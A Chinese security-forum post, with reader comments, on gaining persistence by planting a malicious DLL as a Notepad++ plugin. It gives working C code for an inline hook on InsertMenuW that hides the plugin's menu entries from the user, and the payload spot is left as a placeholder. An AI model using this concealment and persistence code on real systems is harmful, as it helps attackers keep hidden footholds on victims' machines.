利用Notepad++插件进行权限维持
0.简介
看到个玄武实验室推送文章,讲的是利用Notepad++的插件做权限维持的——《Persistence – Notepad++ Plugins》。原理上比较简单,Notepad++在启动的时候会加载plugins目录(例如:C:\Program Files\Notepad++\plugins)中保存的插件,其实就是一个一个目录里面放着dll文件。原文给了一个C#版本的DEMO,不太会。简单看了一下c的实现方式,记录于此。
1.详情
找了一下,github有现成的模板。将模板clone下来。
git clone https://github.com/npp-plugins/plugintemplate.git
项目提供了visual studio的项目文件vs.proj/NppPluginTemplate.vcxproj
,直接双击打开,重定向项目的窗口记得选择确定。
然后就可以开始愉快的写代码了。模板中提示较为完善,根据提示首先打开PluginDefinition.h
,可以自定义插件的名称和功能数量。
这里名字随便起,不重要。由于我们没什么真正需要实现的功能,这里可以不改,模板默认带两个测试功能(不能为0),随便填一个功能。然后打开PluginDefinition.cpp
,commandMenuInit
函数中是用来设置功能和菜单栏中对应按钮的,模板中默认就带了两个测试功能也可以不改。真正需要实现的持久化功能可以填写在pluginInit
方法中,notepad++打开会自动加载这些dll,然后调用pluginInit
等函数。例如这里添加一个MessageBox。
void pluginInit(HANDLE /*hModule*/)
{
MessageBox(NULL, TEXT("test"), TEXT("test"), NULL);
}
编译后生成NppPluginTemplate.dll
文件。在notepad++的plugins目录下新建一个目录用来放这个dll,假如给这个目录起名为SecTest
,则将NppPluginTemplate.dll
文件拖到SecTest
目录下并重命名为SecTest.dll
即可(名字要一致,否则不加载),重启notepad++即可生效。
但是这种方式有个比较难受的点在于,加载的插件会在插件菜单里添加列表,稍微有点明显容易被发现。
2.插件Menu隐藏
找了一下没有发现怎么样可以让他不注册这个菜单栏就有点难受(可能我看的不仔细)。测试了如果把nbFunc改成0,或者把字符串改成空的都没办法比较好的在这里隐藏,并且还有可能产生报错弹窗,还可能导致插件被移除。
拖ida简单看了一下这里是调用了insertMenuW
方法来插入这个菜单,那就非常简单了,只需要把insertMenuW
函数做个inlinehook,对于这几个menu不让他注册即可。在PluginDefinition.cpp
中添加hook相关代码:
//Hook代码
void Hook();
void UnHook();
BYTE Ori_Code[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
static BOOL (WINAPI* OldInsertMenuW)(HMENU hMenu,UINT uPosition,UINT uFlags,UINT_PTR uIDNewItem,LPCWSTR lpNewItem) = InsertMenuW;
BOOL WINAPI MyInsertMenuW(HMENU hMenu, UINT uPosition, UINT uFlags, UINT_PTR uIDNewItem, LPCWSTR lpNewItem) {
UnHook(); // 恢复Hook
BOOL ret;
if ( lstrcmp(lpNewItem, TEXT("Hello Notepad++"))!= 0 && lstrcmp(lpNewItem, TEXT("Hello (with dialog)")) != 0 && lstrcmp(lpNewItem, TEXT("Notepad++ plugin template")) != 0) {
ret = OldInsertMenuW(hMenu, uPosition, uFlags, uIDNewItem, lpNewItem);// 调用原函数,防止报错影响正常功能
}
else {
ret = true;
}
Hook(); // 继续hook
return ret;
}
void Hook()
{
DWORD OldProtect;
if (VirtualProtect(OldInsertMenuW, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
{
memcpy(Ori_Code, OldInsertMenuW, 12); // 拷贝原始机器码指令
*(PINT64)(HookCode + 2) = (INT64)&MyInsertMenuW; // 填充90为指定跳转地址
}
memcpy(OldInsertMenuW, &HookCode, sizeof(HookCode)); // 拷贝Hook机器指令
}
void UnHook()
{
memcpy(OldInsertMenuW, &Ori_Code, sizeof(Ori_Code)); // 恢复hook原始代码
}
然后在pluginInit
函数中,先干坏事然后调用一下hook方法不让它注册menu即可,例如:
void pluginInit(HANDLE /*hModule*/)
{
MessageBox(NULL, TEXT("Big Bad DaShanzha!"), TEXT("Big Bad DaShanzha!"), NULL);
Hook();
}
此时再看菜单里就没有相关的内容了,但是比较难受的是插件管理里面还是会有显示,不过相对来说没之前那么容易被发现。
参考
- 原文(https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/)
- hook代码从这里抄的(https://www.cnblogs.com/LyShark/p/13653394.html)
TCV:1
评论18次
这种方法好几年前就看到有人在用了,效果不错
nodepad++用的人挺多的,这个场景比较广
可以 和外挂思路一样
用的人还是很多的,挺好的思路
是不是可以执行命令
正常打开notepad 是不需要管理员权限的,除非打开 类似hosts文件才会要求是否以管理员启动。
当前进程加载dll来hook当前进程并不需要提权啊
接下来去延伸idea、sublime
又学到了一种骚办法 这中思路本质和dll注入很像
学到了新方法
正常打开notepad 是不需要管理员权限的,除非打开 类似hosts文件才会要求是否以管理员启动。
要实现hook这种方式,会不会notepad 每次启动的时候都会要求管理员?
思路很强
学xi到了新方法 这是一条路 哈哈
虽然看不懂,但大受震撼
我的天,这都可以的吗?
思路很骚啊,以notepad++为例,还有很多,有插件的都可以搞,比如ecilpse,burp啊
深感震撼,以前没觉得这玩意能这么玩 学xi一下
在学xi逆向中,关于如何定位到insertMenuW能否有详细教程